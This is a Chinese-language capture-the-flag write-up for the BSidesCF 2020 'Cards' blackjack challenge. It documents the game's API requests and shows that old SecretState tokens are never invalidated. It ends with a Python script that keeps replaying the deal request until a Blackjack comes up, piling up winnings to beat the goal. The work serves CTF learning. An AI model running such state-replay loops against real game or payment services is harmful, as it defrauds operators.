BUU [BSidesCF 2020]Cards
开题:
做题目之前先了解一下21点的规则:
二十一点玩法规则和概率在二十一点游戏中,拥有最高点数的玩家获胜,其点数必须等于或低于21点;超过21点的玩家称为爆牌。 2点至10点的牌以牌面的点数来相加,J、Q、K 每张为10点。 A可记为1点或为11点,若玩家会因A而爆牌则A可算为1点,若开牌就是21点,则直接获胜。
如下图k为10,A为11,相加为21,则显示Blackjack,直接获胜。
首先,打开游戏,会先向/api发送POST请求,获取一段json,保存用户信息
{"SecretState":"enc1","PlayerHand":[],"DealerHand":[],"Balance":1000,"GameState":"Idle","SessionState":"Playing","Bet":0}
/api/config发送POST请求,返回题目配置信息,然后下注进行游戏。(目标是赌到100000)
{"Goal":100000,"MinBet":10,"MaxBet":500,"GameHandler":"/game.go","DeckHandler":"/deck.go"}
模拟一下流程看看
1、点击Deal向/api/deal发送POST
{"Bet":10,"SecretState":"enc1"}
然后返回的内容是手牌信息,这时会返回一个新的SecretState
{"SecretState":"enc2","PlayerHand":[["Ace","Spades"],["King","Diamonds"]],"DealerHand":[["King","Clubs"],["10","Hearts"]],"Balance":1015,"GameState":"Blackjack","SessionState":"Playing","Bet":10}
2、点击Hit,向/api/hit发送POST请求
{"SecretState":"enc2"}
返回
{"SecretState":"enc3","PlayerHand":[["7","Spades"],["8","Spades"],["2","Clubs"]],"DealerHand":[["X","X"],["4","Clubs"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":0}
3、点击Stand,向/api/stand发送POST请求
{"SecretState":"enc3"}
判定是玩家赢,返回新的SecretState,并且把钱加上
{"SecretState":"enc4","PlayerHand":[["7","Spades"],["8","Spades"],["2","Clubs"]],"DealerHand":[["King","Spades"],["4","Clubs"],["Queen","Hearts"]],"Balance":1500,"GameState":"PlayerWins","SessionState":"Playing","Bet":0}
4、点击Deal,向/api/deal发送POST
{"Bet":10,"SecretState":"enc4"}
返回
{"SecretState":"enc5","PlayerHand":[["6","Spades"],["8","Clubs"]],"DealerHand":[["X","X"],["King","Diamonds"]],"Balance":1000,"GameState":"Playing","SessionState":"Playing","Bet":500}
5、点击Stand,向/api/stand发送POST请求
{"SecretState":"enc5"}
返回
{"SecretState":"enc6","PlayerHand":[["6","Spades"],["8","Clubs"]],"DealerHand":[["7","Spades"],["King","Diamonds"]],"Balance":1000,"GameState":"DealerWins","SessionState":"Playing","Bet":0}
6、再点击Deal,向/api/deal发送POST
{"Bet":500,"SecretState":"enc6"}
返回
{"SecretState":"enc7","PlayerHand":[["9","Spades"],["Queen","Diamonds"]],"DealerHand":[["X","X"],["Jack","Hearts"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":500}
7、点击Stand,向/api/stand发送POST请求
{"SecretState":"enc7"}
返回
{"SecretState":"enc8","PlayerHand":[["9","Spades"],["Queen","Diamonds"]],"DealerHand":[["9","Diamonds"],["Jack","Hearts"]],"Balance":1000,"GameState":"Push","SessionState":"Playing","Bet":0}
8、点击Deal,向/api/deal发送POST
{"SecretState":"enc8"}
返回
{"SecretState":"enc9","PlayerHand":[["Ace","Spades"],["King","Diamonds"]],"DealerHand":[["King","Clubs"],["10","Hearts"]],"Balance":1015,"GameState":"Blackjack","SessionState":"Playing","Bet":10}
enc9=acafd113a31b0dd10b818597fac05afa652be902051954e3e2003e0563e5a961d0cb83442064e115ad0c9db70d438e25387dcee9f403626a270371b63e4dcab60f32cc92d95069789fd862a783ce172fb65fc9516b2787a903f8565aee05bf49964faff35aef8b5b031a7e9939e833bc24440b424344dcce5a993c66f0d6173f588b90304b3aa8f6581e42098879bfe5e91a547d78d4da952c86f5cfb7546043a0b47feb1bc34d5fe171acc5a58186b20016c0907db6c947641fd3dc25e23c9880eeda7eb9d3050a3ef497fd89fd118002d067f365ef7a4c50fb0387cdea862c88e374a492d5f00490185238d968a53115741c8f60319e28a19befe256a9b9212d860e682287be6255016e1f6c7e77f88d5848b3567e7bf7d43fa29891841ee462c6cba3787d5a6ac3b6cc97a052bc47e955a54b8f0bd7d9a1e90a5db0c0bfa54daae6dad39f99dbbc5c6798ab23450a70ddf38efaf479e64b1a0debc1a807b1cb4e30f53249521378d23650182306926d39b56a846074084bdd99eb702f63597c04134301295e6c8e04eb6110ebe18eeacea0d3d64e43251dfba33ed174bc3d3bf42260ea05c925a6f41b1386d5ee0acb33bd9a18839c3930f8936af722bd7b2adb5974650d017e638c1849e82403d35298f7fb3fbd623ba0648f0cdfc158feabb18181386e3ad1836edcb038a5b72c452ddf44437900dc6445f28d15e7ee1b7405870b578079bf8243db1067ff07f70464c170302747a7af37bc7512108cb5b28039d027e88cca86af6bcde0505203719eb86a34a572bc4c23a9f182d41e4a5e0a5e9aedc76e22e422391d04007f6fbde158821f96b2810ea4f6501a19ab3f3080bff2a45b00843905760e0a117acd7019a14fb91c48927427339f9543639ef61ae14598f05e34c7138790f53a1905565a76c108d21b72db693c64530bd299976040e77a70f421e0950196e74c38488a096e7746ae6af8ae090f068b033743ef55d78da427c6209f610a65647aa20d8cc4a3f194b9c73fde226a6600d4a4414cafbb6ab5ba4ce10b0bfd9f6773c18248a809594b4f85a64f8a5e94a4928ce75e40e99f9c8ce887a95c423de84fb1e41bf7f43c521edeb81eecb798b1fe49347895075a40c0d51d288d4a41f8925a0b0c79262b2b793c02ccfdf70690d93521a9e05d090c1a9c61bbc409686d99777ad21c5dfd67ab4c19094ab5a1b370b0ed8b1d14a954707df9393f8bc0239817375817329223bde295429c885fac7f28ba8105b6d208e97351831d2e71927283e5de1631de9467742c93e1e3ae9d2a9a613987f21c6e3efe8ca7b9266267d490a3989639de93cf198339bac1498a1ca2c7cc0a99c4abd18a65bf41fe823583c92aa885997c7e10cf565c3dc9d908e352261d17c941b76b38cfc18f55b4bba5c24a91eb18550c50e28110951337b33541789b9cd24b93ad499662eb8fac31fcfeb35c614c4566ab4a9c6fe5a7f46c6b29568236fb378ccc413b32f68e85eb9e71ea923246c47367bb5a175ce58d86cc6af474b4c9a6aa0dd4a30b74cef006785c2d341a01bc98af9986e0ff1a5e72d6340bd277783b5a2eb89d4c8ddbfc1710475eacfed2c3c6143aebe39908fb6a4661542bde26c88f943283f9491c1468cff5189e7eaf2a481d086aea48d22c55a61b394843a6f9f7bf97504099f45000daec23546a5f3bbb01313033c8b43bf96fd307c7991a8ec0734fd3f2237fce6322462668ab6e65a4a3461e4112d0b16fdd0a2161adaeae22dc857e336bfc9a371e6f7810096839441fe26c307481a8
这里的GameState变成了Blackjack,并且余额直接增加了
如果把enc9作为SecretState,向/api/deal进行重放,直到返回包出现Blackjack,这时会增加金币为赌注bet
的数值,返回包的SecretState为enc10,再把enc10作为SecretState,向/api/deal进行重放,这样重复下去,最后余额就会满足条件
思路:
我们在每次请求都会有一个SecretState参数,用来保存游戏状态,并且在客户端和服务端同步。这个参数没法篡改。每次请求,服务端都会生成一个新的SecretState,但是旧的SecretState并不失效,问题就出在于此。
游戏如果赢了,就更新SecretState,如果输了,则不更新SecretState。这样就可以达到类似一种分数只增不减的效果。
但是有个问题,下注之后要开牌的话,必须得用新的SecretState,而下注的时候分数已经扣了,这样输的状态依然存在。
这就需要利用21点里一个规则,如果先发的2张牌已经是21点(black jack),则直接赢。这种状态下可以省去开牌那一步。
首先在这个url下面获取一个secret,因为后面在出牌的时候需要使用
自动化脚本:(赌最大500的会快一点)
import requests
start = "http://7cb4d2f6-afc3-46e0-9fe9-03bae6c9ea58.node5.buuoj.cn:81/api"
deal = start + "/deal"
# 开局
state = requests.post(start).json()["SecretState"]
while True:
# 下注
try:
resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
except:
continue
if resp['GameState'] == 'Blackjack': #如果稳赢了是Blackjack,就更新SecretState
state = resp['SecretState']
print(resp['Balance']) #输出当前有多少赌资
if resp['Balance'] > 100000:
print(resp)
break